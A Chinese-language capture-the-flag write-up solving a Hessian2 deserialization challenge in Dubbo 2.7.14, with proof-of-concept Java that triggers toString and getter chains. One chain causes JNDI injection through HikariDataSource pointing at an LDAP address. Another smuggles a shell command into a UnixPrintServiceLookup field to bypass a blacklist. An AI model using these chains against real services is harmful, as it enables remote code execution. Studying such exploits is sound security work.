青龙组BadBean

BadBean

一个Hessian2反序列化的题

直接用了dubbo-2.7.14.jar,该版本存在一个可以直接触发toString的调用https://paper.seebug.org/1814/

他自己写了给类中

很明显可以调用任意get方法。然后根据上面那篇文章,复现一下前面的流程。

这里先在

Pasted image 20220831220431

这个位置要触发readObjectDefinition方法,在该方法中调用readStringPasted image 20220831220523
然后在不满足case的情况下Pasted image 20220831220556
进入default this.expect("string", tag);中触发tostring。
也就是说,67满足了两个条件

  1. Hessian2Input#readObject中可以走到readString
  2. 在readString可以进入this.expect("string", tag)

然后通过重写代码来实现使第一个字节为67Pasted image 20220831220816

后面的get利用链他环境中给出了HikariCP这个依赖,然后在他的HikariDataSource的getConnection方法中可以触发jndi注入
Pasted image 20220831221105

Pasted image 20220831221139

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    public static void main(String[] args) throws Exception {  

ByteArrayOutputStream bao = new ByteArrayOutputStream();
HikariDataSource hk = new HikariDataSource();

hk.setPoolName("pool");
hk.setDataSourceJNDI("ldap://127.0.0.1:8080/asd");

MyBean myBean = new MyBean(null,null,hk, HikariDataSource.class);

// HashMap<Object, Object> map = JDKUtil.makeMap(myBean, myBean);

ObjectOutput out = new Hessian2ObjectOutput(bao);
out.writeUTF("2.2");
// out.writeUTF("2.2");
out.writeObject(myBean);
out.flushBuffer();

deserialize(bao.toByteArray());

然后这个位置是因为该版本存在有waf所以不能用二次反序列化的那个类(java.security.SignedObject),但是sun.print.UnixPrintService这个类是没有在黑名单里面的,我想肯定可以用这个类打,但是我没有环境所以暂时就没有复现.(复现成功了,但是UnixPrintService类的构造方法不是Public,所以无法利用,重新找了差不多的UnixPrintServiceLookup可以成功复现

1
2
3
4
5
6
UnixPrintServiceLookup unixPrintServiceLookup = new UnixPrintServiceLookup();  
        setFieldValue(unixPrintServiceLookup, "cmdIndex"0);
       // setFieldValue(unixPrintServiceLookup, "libFound", 0);
        setFieldValue(unixPrintServiceLookup, "osname""asd");
        setFieldValue(unixPrintServiceLookup, "lpcFirstCom"new String[]{";open -na /System/Applications/Calculator.app""ls""ls"});
        MyBean myBean = new MyBean(null,null,unixPrintServiceLookup,sun.print.UnixPrintServiceLookup.class);